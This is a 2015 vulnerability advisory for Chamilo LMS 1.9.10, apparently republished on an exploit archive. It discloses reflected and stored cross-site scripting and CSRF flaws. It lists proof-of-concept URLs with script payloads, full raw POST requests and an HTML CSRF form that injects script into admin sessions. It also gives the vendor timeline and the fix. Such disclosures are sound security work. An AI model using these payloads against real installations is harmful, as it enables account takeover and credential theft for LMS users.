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Chamilo LMS 1.9.10 Cross Site Request Forgery / Cross Site Scripting Vulnerabilities
[I. Overview ======================================================== Chamilo LMS 1.9.10 or prior versions are prone to a multiple Cross-Site Scripting (Stored + Reflected) & CSRF vulnerabilities. These vulnerabilities allows an attacker to gain control over valid user accounts in LMS, perform operations on their behalf, redirect them to malicious sites, steal their credentials, and more. II. Severity ======================================================== Rating: High Remote: Yes Authentication Require: Yes CVE-ID: III. Vendor's Description of Application ======================================================== Chamilo LMS, or Chamilo Learning Management System is a piece of software that allows you to create a virtual campus for the provision of online or semi-online training. It is distributed under the GNU/GPLv3+ license and its development process is public. All the Chamilo software products are entirely free (as in freedom), free (as in beer) and complete, and are production-ready without requiring any type of payment. https://chamilo.org/chamilo-lms/ IV. Vulnerability Details & Exploit ======================================================== 1) Multiple Reflected XSS Request Request Method = GET XSS PoC's:- /main/calendar/agenda_list.php?type=personal%27%20onmouseover=%27confirm%280%29%27/%3E%3C!-- /main/messages/outbox.php?f=social"+onmouseover="confirm(0) /main/mySpace/student.php?keyword=31337"+onmouseover=confirm(0)//&active=0&_qf__search_user=&submit=Search /main/inc/lib/fckeditor/editor/plugins/ajaxfilemanager/ajax_get_file_listing.php?editor=stand_alone&view=thumbnail&search=1&search_name=admin&search_recursively=0&search_mtime_from=&search_mtime_to=&search_folder=;</script><script>confirm(0)</script> /main/admin/configure_extensions.php?display=</script><script>confirm(0)</script> /main/admin/course_category.php?action=add&category="/><script>confirm(0)</script> /main/admin/session_edit.php?page=resume_session.php%22%20onmouseover=confirm%280%29//&id=1 b) User Agent Header XSS (Reflected) GET /main/admin/system_status.php?section=webserver User-Agent: <script>confirm(0)</script> __________________________________________________________ 2) Stored XSS File Attachment Description parameter (legend[]) is vulnerable to Stored XSS By utilizing "social network" an attacker may send a crafted message to anybody with XSS payload in the file attachment description field (i.e legend[]) Request Method : POST Location = /main/messages/new_message.php?f=social Parameter = legend[] Stored XSS PoC :- POST /main/messages/new_message.php?f=social HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml +xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/main/messages/new_message.php?f=social Cookie: XXXXXXXXXXXXXXXXXXXXXX Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------8461144986726 Content-Length: 1023 -----------------------------8461144986726 Content-Disposition: form-data; name="users[]" 3 -----------------------------8461144986726 Content-Disposition: form-data; name="title" Stored XSS Test Via Social network -----------------------------8461144986726 Content-Disposition: form-data; name="content" This is test message<BR> -----------------------------8461144986726 Content-Disposition: form-data; name="attach_1"; filename="test.txt" Content-Type: text/plain I owned you !!!! -----------------------------8461144986726 Content-Disposition: form-data; name="legend[]" Cool File <script>confirm(0)</script> -----------------------------8461144986726 Content-Disposition: form-data; name="compose" -----------------------------8461144986726 Content-Disposition: form-data; name="_qf__compose_message" -----------------------------8461144986726 Content-Disposition: form-data; name="sec_token" 42917ca29da38f60d49bbaf2ba89b1b9 -----------------------------8461144986726-- ________________________________________________________________________ 3) CSRF & Stored XSS Request Method = POST Location = /main/admin/session_add.php Parameter = name POST /main/admin/session_add.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml +xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1//main/admin/session_add.php Cookie:XXXXXXXXXXXXXXXXXXXXXX Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 231 formSent=1&name=<script>confirm(0)</script>&coach_username=rehan&session_category=0&nb_days_acess_before=0&nb_days_acess_after=0&start_limit=on&day_start=2&month_start=3&year_start=2015&end_limit=on&day_end=2&month_end=3&year_end=2016&session_visibility=2 CSRF PoC:- <html> <!-- CSRF Request With Stored XSS Payload --> <body> <form action="http://127.0.0.1/main/admin/session_add.php" method="POST"> <input type="hidden" name="formSent" value="1" /> <input type="hidden" name="name" value="Test<script>confirm(0)</script>" /> <input type="hidden" name="coach_username" value="admin" /> <input type="hidden" name="session_category" value="0" /> <input type="hidden" name="nb_days_acess_before" value="0" /> <input type="hidden" name="nb_days_acess_after" value="0" /> <input type="hidden" name="start_limit" value="on" /> <input type="hidden" name="day_start" value="2" /> <input type="hidden" name="month_start" value="3" /> <input type="hidden" name="year_start" value="2015" /> <input type="hidden" name="end_limit" value="on" /> <input type="hidden" name="day_end" value="2" /> <input type="hidden" name="month_end" value="3" /> <input type="hidden" name="year_end" value="2016" /> <input type="hidden" name="session_visibility" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> VI. Affected Systems ======================================================== Software: Chamilo LMS Version: 1.9.10 and Prior Solution (Fix): Upgrade to 1.9.11 (https://github.com/chamilo/chamilo-lms/) VII. Vendor Response/Solution ======================================================== Vendor Contacted : 02/12/2015 Vendor Response : 02/12/2015 Patch Release: 03/17/2015 Advisory Release: 03/18/2015 VIII.Credits ======================================================== Discovered by Rehan Ahmed knight_rehan@hotmail.com # 0day.today [2024-12-26] #